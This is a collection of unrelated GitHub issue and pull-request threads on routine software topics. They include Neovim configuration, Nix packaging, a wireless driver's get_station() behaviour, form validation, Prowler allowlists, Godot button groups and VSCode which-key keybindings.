Per-language lua file setup not possible with current init.lua?

Hey 👋 and thanks for a really nice project. Since discussions are not enabled on this repo, I'm asking here instead...
I'd like to keep each programming language's configuration to its own lua file. For example, I'd like to have lang_lua.lua, lang_go.lua, lang_python.go and so on - which each would specify the language's settings for LSP, formatting, linter etc. I'm currently running LazyVim with this kind of setup, and here's my current lang_go.lua for reference.
However, I'm not successful in figuring out what I'm doing wrong, in order to make this work with kickstart.nvim. For example, I can't get Mason to install (via ensure_installed) based on what I have in a custom plugin.
I've deleted these entries from the init.lua:
      local ensure_installed = vim.tbl_keys(servers or {})
      vim.list_extend(ensure_installed, {
-      "stylua", -- Used to format lua code
      })
      require("mason-tool-installer").setup({ ensure_installed = ensure_installed })

  { -- Autoformat
    "stevearc/conform.nvim",
    opts = {
      notify_on_error = false,
      format_on_save = {
        timeout_ms = 500,
        lsp_fallback = true,
      },
-      formatters_by_ft = {
-        lua = { "stylua" },
-      },
    },
  },

...and I've moved this into a lua/custom/plugins/lang_lua.lua:
return {
  {
    "stevearc/conform.nvim",
    dependencies = {
      {
        "williamboman/mason.nvim",
        config = function(opts)
          opts.ensure_installed = opts.ensure_installed or {}
          vim.list_extend(opts.ensure_installed, { "stylua" })
          require("mason").setup(opts)
        end,
      },
    },
    opts = function(_, opts)
      opts.formatters_by_ft = opts.formatters_by_ft or {}
      local extend_formatters_with = {
        lua = { "stylua" },
      }

      for ft, formatters_ in pairs(extend_formatters_with) do
        opts.formatters_by_ft[ft] = opts.formatters_by_ft[ft] or {}
        vim.list_extend(opts.formatters_by_ft[ft], formatters_)
      end
    end,
  },
}

I have uncommented the custom plugins import in init.lua:
-  -- { import = "custom.plugins" },
+  { import = "custom.plugins" },

When I open a .lua file and run :ConformInfo, it looks like the conform.nvim config works, but stylua is not being installed by Mason and therefore not availalble.
Log file: /Users/fredrik/.local/state/fredrik/conform.log

Formatters for this buffer:
LSP: lua_ls
stylua unavailable: Command not found

Other formatters:

Is the current init.lua not set up for what I'm trying to do (per-language lua files)?

I got it to work with Mason; in the custom lua plugin:
return {

  {
    'stevearc/conform.nvim',
    opts = function(_, opts)
      local ensure_installed = vim.tbl_keys {}
      vim.list_extend(ensure_installed, {
        'stylua', -- Used to format lua code
      })
      require('mason-tool-installer').setup { ensure_installed = ensure_installed }

      opts.formatters_by_ft = opts.formatters_by_ft or {}
      local extend_formatters_with = {
        lua = { 'stylua' },
      }
      for ft, formatters_ in pairs(extend_formatters_with) do
        opts.formatters_by_ft[ft] = opts.formatters_by_ft[ft] or {}
        vim.list_extend(opts.formatters_by_ft[ft], formatters_)
      end
    end,
  },
}


error when installing packages

I got a problem when installing the dependencies. It should be khmer-nltk, not khmernltk or I'm misunderstand something?
Thank you

Hi @best-fitting
Thank you so much for reposting the issue! Sorry for the delay in getting back to you. I updated the requirements.txt file.


Remove empty element from keybinding label array

Fixes #91235

@jaqra Let's not fix this that deep down and keep the fixes in the screencast mode... even if you do some string magic. Wanna submit another PR with a simper fix?

@joaomoreno yes im gonna send another pr :)


SLAC workflow for new DC2 cookbook

bring SLAC workflow engine pipeline up to date with new Cookbook, to run at NERSC.

This issue was moved to LSSTDESC/ImageProcessingPipelines#8


freesweep: 1.0.1 -> 1.0.2

Description of changes

Changelog: https://github.com/rwestlund/freesweep/compare/v1.0.1...v1.0.2
The only changes are landing the two outstanding patches for fixing the build.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 179571 run on x86_64-linux 1

1 package built:

freesweep


Updating dependencies to address dependabot alerts

What type of PR is this?
/kind cleanup
What does this PR do / why we need it:
Updates the nodejs dependencies in website/* directory. Updated based on the pointers provided by GitHub Dependabot Alerts
Which issue(s) this PR fixes:
Fixes N/A
PR acceptance criteria:

[ ] Unit test

[ ] Integration test

[ ] Documentation

[ ] Update changelog

[ ] I have read the test guidelines

How to test changes / Special notes to the reviewer:

/lgtm

/approve


Num.toDec doesn't exist

Just looks to be a missing function. Definitely should support this.
Num.toDec

── NOT EXPOSED ─────────────────────────────────────────────────────────────────

The Num module does not expose `toDec`:

4│      Num.toDec
        ^^^^^^^^^

Did you mean one of these?

    Num.toFrac
    Num.toStr
    Num.toI8
    Num.toI16

Hello :)


Discovering ROI

When figuring out the APR I imagine removeLiquidityReturn is the way to go? changing the timestamp based on week, month etc?
I'm currently hitting it with the following params with it returning with a generic error, any ideas?
[ "2", "1000000", "1607409130"]

@ashachaf check this out on staging now, I'm still yet to do alchemy.

@ashachaf alchemy is done, are we still waiting on updates for poolROI calculation?

Yup, we're working on a new version of the contract, should be out in a few days.

@Velua i dont see this on staging.

@ashachaf Sent that two weeks ago, nothing to see atm.

@Velua is this task done? or was it covered in another place?

Done


text-field: fix default color placeholder and types

Wow that should have been there for a while. If it is not too much may I ask you apply the same thing to text-area ? If you can't no problem I ll do it after

@farfromrefug this? https://github.com/vallemar/ui-material-components/blob/master/src/textview/textview.ios.ts#L319
I don't know why but that method is different

@vallemar ok no problem I ll have a look at it


Issue in GPTTreeIndex tree building

I am trying to build a GPTTreeIndex from a set of 20 customer support tickets. I have a summaryprompt which has instructions on which aspect to focus on. Unfortunately sometimes I am seeing that the same input tickets are being returned in the root nodes

I can also see that in the tree building phase no LLM tokens are being used to create the tree

Can you help me in understanding why this is happening
I am using llama_index==0.4.12

Could you try to upgrade to >=0.5.0 and see if the issue still persists?


Add Azure Function support to bentoml 1.0

If this is an important deployment target for you please feel free to mention your interest below and we will prioritize this operator
If you are looking to deploy to other services on azure, currently we support

Azure Container Instances

+1 on this.


Support for Utility Processes

Clear and concise description of the problem
It'd be great to be able to support Utility processes. Or if it's already possible, to document how they can be used. Right now, it's not clear how to use them with typescript.
Suggested solution
I don't have any ideas.
Alternative
No response
Additional context
No response
Validations

[X] Follow the Code of Conduct.
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that requests the same feature to avoid creating a duplicate.

@Sahasrara, You can refer to nodejs worker
https://electron-vite.org/guide/assets#import-with-constructors
PS: UtilityProcesses tutorials will be added to the docs

new ver 2.1.0 is out 🎉. Easy way to use Electron UtilityProcess API.
https://electron-vite.org/guide/dev#utility-process-and-child-process


Faiss assertion 'err__ == cudaSuccess' failed in virtual void faiss::gpu::StandardGpuResources::initializeForDevice(int) at StandardGpuResources.cpp:134; details: CUDA error 30

Has any one come across this problem?

I've also come across this problem.  Have no idea about it.

me too!


Update so that it actually builds.

Advance stack snapshot version.
Fix the breakage caused by changes in Cabal.
Bump minor version.

This still leaves many warnings to be addressed. Only erroneous faults
were fixed due to urgency.

Ping. Thanks for hpack-convert, could this fix be released ?

I made a patch for building hpack-convert with LTS12.1 .
8695b5666c8ee66785c43074b9ae8b3a5d445192

Running into this as well.

This works well for me, can it be merged?

Hey all, I just opened https://github.com/kindaro/hpack-convert/pull/1. Would love to discuss if any of you are still interested in this package as of 2020.


Improve accessibility

Open ended issue—all improvements are welcome!

on it, although there doesn't seem to be a lot left.

issue: When the blog post is focussed, the dot appearing above the blog post is near to the blog post above it.
reproduction: go to /blog, press tab key until 2nd blog post is focused
possible solution :  overide  padding-top: 2rem; for h2 element and keep it to zero. To retain the same design add equal margin/padding for the top and bottom of each blog post component.

I think having border will be better than representing using dots.


sqlserver全量+增量 不锁表

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.

加1

加1

https://github.com/ververica/flink-cdc-connectors/pull/1732 merged


Fix "iw dev xxx link" command error

Fix command failed by using "iw dev xxx link".
This is a failed demonstration:
Connected to aa:b7:12:fd:11:77 (on owl0)
SSID: TestAP
freq: 2437
command failed: No such file or directory (-2)

I have figured out the error comes from, and I think you have misunderstand the actual meaning of get_station().

Don't be misleading by the name get_station(): It is to get the information of the station based of the parameter const u8 *mac, and in this semantic, the station can be every interface including station and AP (Yes, including AP), rather than get all stations running in STA mode which are connected to BSS. Following is the sample usage:

iw dev <The interface performing search> station get <MAC address of someone who you are interesting in>

I found that iw dev <interface> link will find the AP which was informed to kernel via passing the AP's MAC into cfg80211_connect_result(), and then perform get_station() to show the AP's information. The question is, the AP's MAC address is not the same as the interface running in AP mode, rather, is a random MAC address. So kernel just passes the "fake" MAC address  as const u8 *Mac into get_station(), and not surprisingly, fails to find the interface owning the "fake" MAC address.

In conclusion, you should modify start_ap() by inserting real MAC address into ap_info_entry_t rather than keep using the fake MAC address.

Yes, you are right, I misunderstood get_station. And this problem can be fixed when I use real MAC to start AP. Thank you for your detailed explanation!

Yes, you are right, I misunderstood get_station. And this problem can be fixed when I use real MAC to start AP. Thank you for your detailed explanation!

How about abandoning this pull request?

I still discuss with @rickywu0421. And I'll check soon if this modification is not appropriate.

After thinking, i still feel that "get_station" can discuss and check. So I still discuss with @rickywu0421. And I'll check soon if this modification is not appropriate.

Yep, @qqgnoe466263 found that get_station() only do search when the parameter const u8 mac is the same as AP, I think it might be a security-based issue.

Yes, you are right, I misunderstood get_station. And this problem can be fixed when I use real MAC to start AP. Thank you for your detailed explanation!

How about abandoning this pull request?

I think we could split this PR into two. One for changing get_station(), and another for fixing the error like title.

Thank @qqgnoe466263 for contributing!


Matching Two Fields from examples is not working as expected

I'm submitting a ...  (check one with "x")
[x] bug report => search github for a similar issue or PR before submitting
[ ] feature request
[ ] support request

Current behavior
When you input password in "Password" then in "Confirm Password" it fires the validation. But when "Password" is changed it will not trigger the validation.
For example input matching passwords, then change Password field to not match, it will not yield the error message.
Expected behavior
Validation must be triggered when there is input in both cases.

here is the solution https://stackblitz.com/edit/angular-qbwj4j, can you open a PR to include that fix, thanks!

@aitboudad Thanks! But is there any way we can use expressionProperties inside validator so that it automatically binds to model? I think that would be more ideal solution

for now there is no way, if there is lot of requests in that part we can find a way to add it in the core.

I've found out this bug while I was looking for a solution of the problem I've reported on Gitter
I think that the solution would be to have the chance to specify a form validation not bound to a specific field. @aitboudad what do you think about?

@lorenzonet yep, any good proposal is welcomed!

added a better way in #1001 by moving the validation into the parent field.

Actually in my use-case the fields do not share same ancestor. We need a way to bind dependency fields to trigger related field validations.

^Example

well I have an idea to solve your use-case but I think it may be complicated to implement it :thinking:
introduction a new property named errorPath to specify the target of a validation error:
validators: {
  fieldMatch: {
    errorPath: 'passwordConfirm',
    expression: ...,
    message: ...,
  },
},

WDYT ?

2 points.

I think we may have multiple fields depending on one validator. So I think we must also support array of paths.
What is a path exactly? Does it support repeat-section, like messages.1.text or messages.*.text?

I think we may have multiple fields depending on one validator.

in that case the validator should be placed in their parent form and the message error should be displayed only in one field (I don't see the need of array path)

What is a path exactly?

specify the target of a validation, in the demo example the message error will appear near the passwordConfirm field instead of the root element
For you use-case you can stick with my first proposal.

errorPath added in 4.5.0 which fix the issue https://github.com/formly-js/ngx-formly/issues/1007 too


problem in Running novels

Thank you for sharing your code
I used of DeFRCN code (python3.7 and detectron 0.3, cuda 10.2) but I had AP base 12 on my own data, I downloaded pretrain model and replace path into run_coco.sh but I had AP base 12 on my own data and in novels result.txt is empty and i have this Error:
can you help me?

Traceback (most recent call last):
  File "tools/extract_results.py", line 59, in
    main()
  File "tools/extract_results.py", line 34, in main
    results.append([fid] + [float(x) for x in res_info.split(':')[-1].split(',')])
  File "tools/extract_results.py", line 34, in
    results.append([fid] + [float(x) for x in res_info.split(':')[-1].split(',')])
ValueError: could not convert string to float: " ResNet.make_stage(first_stride=) is deprecated!  Use 'stride_per_block' or 'stride' instead."

I checked my log.txt file for few-shots and in compare with your log.txt, in my files it just run until this line:
[10/02 15:47:08] d2.data.common INFO: Serializing 130 elements to byte tensors and concatenating them all ...
[10/02 15:47:08] d2.data.common INFO: Serialized dataset takes 0.04 MiB
so it don't start evaluation:
[10/02 15:47:14] defrcn.evaluation.evaluator INFO: Start inference on 625 images
Do you know why this happens? i didn't change evaluation file on your code, and when i run it on COCO too, i have this error.
Thanks

Hi @salehnia, the extract_results.py extracts results from train&eval logs that are trained and tested correctly (just for easy viewing of the benchmark results). If there is an error in this script, I guess that the (base or novel-ft) models are not being trained or tested properly, please check the logs to make sure that the models have been saved and evaluated normally.
If you find any further issues, please let me know. Thanks!

Hi thanks for reply...
I checked log.txt, result on base model are exist, train ans test did correct on it, but in few-shot Novels, evaluation didn't start and last line in log.txt is this:
[01/16 13:43:17] d2.data.common INFO: Serialized dataset takes 0.00 MiB
i have CUDA out of memory, my python version is 3.7, detectron2 -> 0.3 and cuda ->10.2
Thanks


How to use?

Hi Oliver  ,
I was looking for a linux / command line program to monitor our ANPR hickvision cameras.
Found yours...
Was able to compile it, however not understand how to use.
I've created the .env file , set the key.. .put the HTTP_HOST the camera IP...
but things appear to missing...
Please , can you share how use it ?

I just able to connect on it.
understand that it's a server .
I've logged into.
However, appear they objective is to add plates to the camera, that's right?
I think it was to monitor live the plates detected by the camera

Hi @ceinmart,
I can't recall how far I got with writing this project but I do know it never got to the stage of testing it with real devices.
The idea of this project was to stream alert events via a web socket connection from the cameras and if they matched a number plate enter into the database, send an email with details of that number plate.
The connection code was generated by AI so may not be 100% correct.
If you can provide the error you're getting when running it I can see if I can advise what you may need to do, in theory it should get to the point where it's connected to the camera(s) and outputting any events it receives to allow their format to be seen and the handling code to be implemented based upon that but I didn't have access to a test device at the time to try that out.


Add a hotkey to toggle ground items plugin

Add a button to temporary disable the item texts. This is useful in instances where items drop are filling up the screen such as in raid, ba, etc.

duplicate


feat(linter) add fixer to no-var

#5144  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @camc314 and the rest of your teammates on  Graphite

I'm going to test this against our ecosystem CI before merging this


Use getattr instead of _asdict/getitem

_asdict is not public API for namedtuple.
You may want to consider using the built-in string module, which
implements this kind of .0/.foo formatting.

Coverage decreased (-0.01%) to 99.184% when pulling c450567d2626fe707725e8d57ebc64e75833b31d on tekknolagi:main into 4bc5648a4f7b9f07e7d7246d2131ba72379552e8 on noahmorrison:main.

Coverage decreased (-0.01%) to 99.184% when pulling c450567d2626fe707725e8d57ebc64e75833b31d on tekknolagi:main into 4bc5648a4f7b9f07e7d7246d2131ba72379552e8 on noahmorrison:main.

Oops, I forgot a test for changing behavior in this commit and you merged faster than I could amend my commit D: I'll file a subsequent PR.

Oops, I forgot a test for changing behavior in this commit and you merged faster than I could amend my commit D: I'll file a subsequent PR.

Ahh, thanks for catching that. That's obviously a much better way to handle it.
I'm not sure I understand your point about the string module?

Ahh, thanks for catching that. That's obviously a much better way to handle it.
I'm not sure I understand your point about the string module?

Kind of like this:
import string

class C:
    foo = "bar"

f = string.Formatter()
instance = C()
result = f.format("{0.foo}", instance)
assert result == "bar"

There's get_field and get_value, etc: https://docs.python.org/3.7/library/string.html#string.Formatter

Kind of like this:
import string

class C:
    foo = "bar"

f = string.Formatter()
instance = C()
result = f.format("{0.foo}", instance)
assert result == "bar"

There's get_field and get_value, etc: https://docs.python.org/3.7/library/string.html#string.Formatter


Samples use nightly build instead of RC

Check the sample zip from:
https://docs.gradle.org/6.7-rc-1/samples/sample_sharing_convention_plugins_with_build_logic.html
The wrapper should be using the 6.7 RC1, instead it's using what looks like a nightly build. I suspect this is actually the timestamp for whenever the sample was generated and not a real nightly build.
This used to work: https://docs.gradle.org/6.6-rc-1/samples/sample_composite_builds_basics.html

@big-guy the wrapper in the zips of the linked sample is correct. Did you see this somewhere else maybe?
There was an issue that wrong links (that do not correspond to the wrapper) are in generated readme's because the version is not input the generation and they may be taken from cache. But I fixed this already for RC2 (by removing the links):
https://github.com/gradle/gradle/commit/ab6aa267aa58dc148932b3ee3c68af3e37557e26

Whew, I must have had a previous zip that I downloaded with a nightly. Thanks!


Embed Draw.io diagram

Examples here: https://kroki.io/

https://github.com/jgraph/drawio-diagrams

LabVIEW libraries for Antidoc and Asciidoc can make diagrams:
https://gitlab.com/wovalab/open-source


Add harvester provider support

What does this PR change?
Inspired by libvirt provider adapted to harvester resources.
Until https://github.com/harvester/harvester/issues/2255 is fixed does not work in one go and after initial provisioning terraform needs to reapply to provision salt part. Fixed and released as v0.5.0

Ready to review, thing to consider is that this duplicates list of images where both libvirt and harvester uses the same cloud-init images (except SLE Micro). So having this list unified should be something to look at.

Ready to review, thing to consider is that this duplicates list of images where both libvirt and harvester uses the same cloud-init images (except SLE Micro). So having this list unified should be something to look at.

That is something we can think of, on how to share this list.
Maybe a share module which outputs the list of images.

I no longer have access to harvester instance and cannot continue on this. Let's close it then.


change entrypoint for the webhook

fixes https://gcsweb-ci.apps.ci.l2s4.p1.openshiftapps.com/gcs/origin-ci-test/pr-logs/pull/openshift_csi-driver-shared-resource-operator/45/pull-ci-openshift-csi-driver-shared-resource-operator-master-e2e-aws-techpreview/1528630570362343424/artifacts/e2e-aws-techpreview/gather-extra/artifacts/pods.json

/assign @coreydaley

/assign @coreydaley

/lgtm

/approve

/label px-approved
/label docs-approved
/label qe-approved


[Bug]: Allowlist with checks for all accounts doesn't work for AWS Org management account

Steps to Reproduce

prowler aws -w allowlist.yaml --config-file config.yaml  -f us-west-2 -s iam -p master
AWS
Organization
I want to ignore all iam_* findings in all regions except us-east-1, so i have a white list like:

Allowlist:
  Accounts:
    "*":
      Checks:
        "iam_*":
          Regions:
            - "eu-central-1"
            - "us-east-2"
            - "us-west-1"
            - "us-west-2"
          Resources:
            - "*"

Expected behavior
I expect that all IAM findings in all regions except us-east-1 will be ignored, like this
╭────────────┬───────────┬────────────┬────────────┬────────┬──────────┬───────╮
│ Provider   │ Service   │ Status     │   Critical │   High │   Medium │   Low │
├────────────┼───────────┼────────────┼────────────┼────────┼──────────┼───────┤
│ aws        │ iam       │ PASS (754) │          0 │      0 │        0 │     0 │
╰────────────┴───────────┴────────────┴────────────┴────────┴──────────┴───────╯

Actual Result with Screenshots or Logs
But I got this
╭────────────┬───────────┬───────────┬────────────┬────────┬──────────┬───────╮
│ Provider   │ Service   │ Status    │   Critical │   High │   Medium │   Low │
├────────────┼───────────┼───────────┼────────────┼────────┼──────────┼───────┤
│ aws        │ iam       │ FAIL (53) │          1 │     30 │       21 │     1 │
╰────────────┴───────────┴───────────┴────────────┴────────┴──────────┴───────╯

How did you install Prowler?
From pip package (pip install prowler)
Environment Resource

Workstation

OS used
2 macOS
Prowler version
v3.8.2
Pip version
pip 22.0.4
Context
No response

Hi @ivan-morhun, I don't know if I'm getting right the issue you described.
The allowlist feature is not aware if the AWS account is the management account since it is treated like another account.
Why are you assuming that all the IAM findings will be in the us-east-1 region? In the IAM service we just generate one Boto3 client using either the us-east-1 or your AWS profile, with preference given to the latter. If you execute the following command prowler --service iam --profile <your profile> --verbose what is the region shown for the findings?

Hi @jfagoagas,
Thanks for the reply!
As IAM is a global service I don't want to have duplicates in our scan reports.
Here is the part of the tool's output with --verbose key
prowler aws -w allowlist.yaml --config-file config.yaml  -f us-west-2 -s iam -p master --verbose
PASS us-west-2: AWS policy AWSOrganizationsServiceTrustPolicy is attached but does not allow '*:*' administrative privileges.
	FAIL us-west-2: AWS policy AdministratorAccess is attached and allows '*:*' administrative privileges.
	PASS us-west-2: AWS policy AmazonSSMManagedInstanceCore is attached but does not allow '*:*' administrative privileges.```

I use the same allowlist file for all other accounts in our organization and for all accounts, this exception works fine. Today I tried to check the master account and it doesn't. I the profile I don't have a region option configured.

Sorry, missed a bit that you asked to remove the region key.
You are right, that wo region key Prowler uses the us-east-1 region for scan, but if I scan another region I don't want to see the same findings that i already have in the us-east-1 region.
PASS us-east-1: AWS policy AWSOrganizationsServiceTrustPolicy is attached but does not allow '*:*' administrative privileges.
FAIL us-east-1: AWS policy AdministratorAccess is attached and allows '*:*' administrative privileges.

For example here is the output for another account with the same allowlist and us-west-2 region
WARNING us-west-2: AWS policy AWSSupportServiceRolePolicy is attached but does not allow '*:*' administrative privileges.
WARNING us-west-2: AWS policy AmazonEKSServicePolicy is attached but does not allow '*:*' administrative privileges.

╭────────────┬───────────┬────────────┬────────────┬────────┬──────────┬───────╮
│ Provider   │ Service   │ Status     │   Critical │   High │   Medium │   Low │
├────────────┼───────────┼────────────┼────────────┼────────┼──────────┼───────┤
│ aws        │ iam       │ PASS (187) │          0 │      0 │        0 │     0 │
╰────────────┴───────────┴────────────┴────────────┴────────┴──────────┴───────╯

@ivan-morhun As a global service if you scan IAM setting a specific region you will see results coming from IAM from that region, so I think it's better not to use that flag for global services or include all the regions except the one you are using to scan IAM in the allowlist.

I found the issue on my side.
I have other rules in the allowlist and didn't show the here because there are many.
And one of the rules was like this
"cloudwatch_log_metric_filter_*":
          Regions:
            - "*"
          Resources:
            - "*"
          Exceptions:
            Accounts:
              - "111111111111"

now I changed it to
"cloudwatch_log_metric_filter_*":
          Regions:
            - "*"
          Resources:
            - "*"
          Exceptions:
            Accounts:
              - "111111111111"
            Regions:
              - "us-west-1"

And now IAM findings are whitelisted.
Looks a bit weird when I didn't see the mandatory fields for the Exceptions block in the documentation.
Thanks for your help!

Hi @ivan-morhun I'm glad that I've helped you to fix the issue.
What is the weird part about the Exceptions block?
I understand that the cloudwatch_log_metric_filter_* rule is an example and is not the one that is not marking the IAM findings as WARNING right?

Weird that Regions is mandatory. If I already have a list of regions to exclude and scan some other region that is not in this list why should I add this region to the Exceptions block? An account is enough for me.
cloudwatch_log_metric_filter_* is one of the similar cloudwatch rules with the same Exceptions block. I modified all of them and now everything works.

BTW, all other exception from the allowlist also didn't work as well as iam_*

@jfagoagas anyway thanks a lot for your help. Closing the issue.


Implement user acceptance tests

We need to create user acceptance test scenarios and implement them.
Due Date: Milestone 2 Presentation

Hi @aykutkantas
Are UATs ready for run?

User acceptance test scenarios are created here
We can add more.


ButtonGroup not operating correctly

Godot version:
Godot_v3.0.2-stable.mono.official
OS/device including version:
Windows 10 Pro version 1709 build 16299.492
Issue description:
Added some checkboxes to a GridContainer and also to a ButtonGroup, and connected the Pressed signal of each button to a function. Calling GetPressedButton() from the function seems to show incorrect results. I gave each button a name 'button_0', 'button_1' etc. but when clicking each in turn, GetPressedButton() returns out of order results.  As seen below.
running cmdline: "C:\xxx\Godot_v3.0.2-stable_mono_win64\Godot_v3.0.2-stable_mono_win64.exe" "--path" "C:/Users/xxx/Documents/TestButtonGroup" "--remote-debug" "<IP_ADDRESS>:65349" "--allow_focus_steal_pid" "47116" "--position" "768,420"
** Debug Process Started **
OpenGL ES 3.0 Renderer: GeForce GTX 1060 6GB/PCIe/SSE2
created button with hash<PHONE_NUMBER>
button<PHONE_NUMBER> given name button_0
created button with hash -1454700503
button -1454700503 given name button_1
created button with hash 446762873
button 446762873 given name button_2
created button with hash<PHONE_NUMBER>
button<PHONE_NUMBER> given name button_3
created button with hash 194072721
button 194072721 given name button_4
created button with hash<PHONE_NUMBER>
button<PHONE_NUMBER> given name button_5
created button with hash -58617431
button -58617431 given name button_6
created button with hash<PHONE_NUMBER>
button<PHONE_NUMBER> given name button_7
created button with hash 75969334
button 75969334 given name button_8
created button with hash -1064279968
button -1064279968 given name button_9
button button_0 with hash<PHONE_NUMBER> pressed
button button_0 with hash<PHONE_NUMBER> pressed
button button_2 with hash 446762873 pressed
button button_2 with hash 446762873 pressed
button button_3 with hash<PHONE_NUMBER> pressed
button button_5 with hash<PHONE_NUMBER> pressed
button button_5 with hash<PHONE_NUMBER> pressed
button button_6 with hash -58617431 pressed
button button_8 with hash 75969334 pressed
button button_9 with hash -1064279968 pressed

Steps to reproduce:
Build and run the supplied project, click each button in turn & observe the output window.
Minimal reproduction project:
TestButtonGroup.zip

Trying to retrieve pressed button with get_pressed_button() with no success either, returns null in GDScript (each button is set to a toggle mode and assigned to the same group).
The documentation is also misleading it seams, the buttons mustn't have hierarchy established in the scene tree in order for them to act like radio buttons, but that also doesn't fix the problem either way.

Testing MRP with non-mono Godot (converted to gdscript: 19643_gdscript.zip)
Can reproduce with 3.0.2.stable, 3.0.6.stable.
Can't reproduce with 3.1.stable, 3.2.3.beta1.
Pre-3.1, get_pressed_button() would return null when the selected button was pressed - that is also fixed.
Issue appears to be resolved.

Thanks for testing!


What's with all these issues?

Both to document the deficiencies this tool has and to get ideas out of my header. (Also to acknowledge that I'm aware the JSON handling is terrible.)

I'll probably never work on this tool again (well, I might use it to test app trimming), so it's only for the sake of posterity.


How to use vscode-which-key to execute an existing keybinding?

As an example, I have the following in my keybindings.json already:
  {
    "command": "workbench.view.explorer",
    "key": "cmd+f t"
  },
  {
    "command": "workbench.view.explorer",
    "key": "cmd+f t",
    "when": "sideBarVisible && !explorerViewletVisible"
  },
  {
    "command": "workbench.action.toggleSidebarVisibility",
    "key": "cmd+f t",
    "when": "sideBarVisible && explorerViewletVisible"
  },

The gist of the above keybindings is that it does one of three things when the chord cmd+f t is invoked:

If the sidebar isn't open, open the sidebar and focus the explorer.
If the sidebar is open but the explorer is not visible, open the explorer and focus it.
If the sidebar is open and the explorer is visible, close it.

It works just fine. I'm trying to set up a which-key binding via VSpaceCode, however I can't figure out how to get this extension to execute a keyboard shortcut, and not a specific command. Right now I can't figure out how to get the above functionality baked into VSpaceCode (via which-key) so I'd rather just be able to execute a keybinding directly instead.
Is it possible to tell which-key to execute a keybinding that already exists?

As an aside, the bove 3 conditions is how I expect SPC f t to work in VSpaceCode, since that's how it works in Spacemacs, but it doesn't. If I can get which-key to work by pointing to existing keybindings, I'll open an issue in VSpaceCode to have that implemented so that it works the wya that I expect.

Sorry for the various edits to the original description, had to clarify exactly what my keybindings do 🙂

I would like to have this as well. I don't know if there's a way to execute keybinding from an extension.
AFAIK, there is currently no easy way for an extension to read the condition in when (lack of read in context API). Let's keep this open, maybe someone will figure out a way. I will keep thinking meanwhile.

As far as the ability to execute arbitrary keybindings from an extension, I'm going to try looking for examples or issues in the vscode repo to see if this has already been discussed before at some point, and open one and link it here if I can't find anything concrete.
I'd really like it if this could be added; for context, I have a keymap called "Chord Heavy" in the marketplace that has a lot of chords set up in a Spacemacs-esque fashion that I'd like to port over to VSpace code if possible, which is why I'm showing a ton of interest in this project in particular 😅

Having getContext API would allow extension to read the when condition, and that issue has been on their radar for a few years. https://github.com/microsoft/vscode/issues/10471
One hacky way to get around is to use keybindings.json to intercept t keys with different when different conditions and send those conditions to which-key to handle like how we handle \t in the QuickPick menu. However, this solution might not scale well with different keys. This way we are by passing the default keyboard input of the QuickPick menu for certain keys, and can have performance concerns. I will prototype it when I have time and see if this is too hacky.
Thank you for interested in this. We would love to have a community to make this better for most people and have to best out-of-box experience for people like spacemacs. Free feel to open issues to track any missing work, feature requests, just asking questions.
This repo is focused on the core code behind the menu display structure which can be a stand alone extension and as well for other extension to consume (like how VSpaceCode bundles this), and ships with a default bindings that doesn't using any third party extension.
The VSpaceCode repo, it hosts the best-of-the box experience like spacemacs with different bindings that uses third party extensions.

There are two options I am thinking. One is something you can do today, the another one involved more thinking and infrastructure.
First option:
The following example assumed you are using VSpaceCode, you can change the command name settings name for which key if you are not.
Merged the following keybindings to your keybindings.json
{
	// Adding this will allow VSpaceCode to run when side bar is focused
	{
		"key": "space",
		"command": "vspacecode.space",
		"when": "sideBarFocus && !inputFocus && !whichkeyActive"
	},
	// This is the workaround part, where it will intercept `t` when `whichkeyActive && sideBarVisible && explorerViewletVisible` and pass it back to `which key` as `t_` input.
	{
		"key": "t",
		"command": "whichkey.triggerKey",
		"args": "t_",
		"when": "whichkeyActive && sideBarVisible && explorerViewletVisible"
	}
}

Merge the following settings to your settings.json
{
    "vspacecode.bindingOverrides": [
        // This adds an entry to <spc> f with a key `t_` which will be triggered by the interpret mechanism.
        {
            "keys": "f.t_",
            "name": "Hide side bar",
            "type": "command",
            "command": "workbench.action.toggleSidebarVisibility"
        },
    ],
}

Explanation:

Adding keybinding to allow VSpaceCode menu to launch when ` is click when side bar is focused
Intercept t key with a specific condition of when and pass it back to which key as t_
Add overrides to add t_ in the <spc> f menu for that specific condition

This workaround works today with no in infrastructure change, although, there are some changes I can see to make this workaround a little bit better.

Implement option to hide particular binding from displaying
In addition, an extension to that is to have display only binding (I am thinking so <spc> 1...9 can be grouped)

One downside of this approach is that, _t will be entered into other parts of menu when sideBarVisible && explorerViewletVisible and causing the regular t not execute.

Second option involves more infrastructure change. The process is similar, instead of passing just the key in the interception, pass an extra parameter like named condition to which key. Which key will also need to implement a way for a user to declare that in config and as well as to to match it in the core. Ideally, I am thinking this work should be generalizable to other condition matching like what mode vim is currently in. An imagined config for this might look like:
{
    "key": "t",
    "name": "Show tree/explorer view",
    "type": "conditional",
    "commands": ["workbench.view.explorer", "workbench.action.toggleSidebarVisibility"],
    "conditional": [null, "sideBarVisible && explorerViewletVisible"]
}

Ideally, I think I will work toward something like the second option, but first option is something you can do today :) Sorry for such a long comment. I am just dumping my current thoughts so I don't forget about them.

I appreciate the thorough response, so please don't worry about lengthy comments, I welcome them.
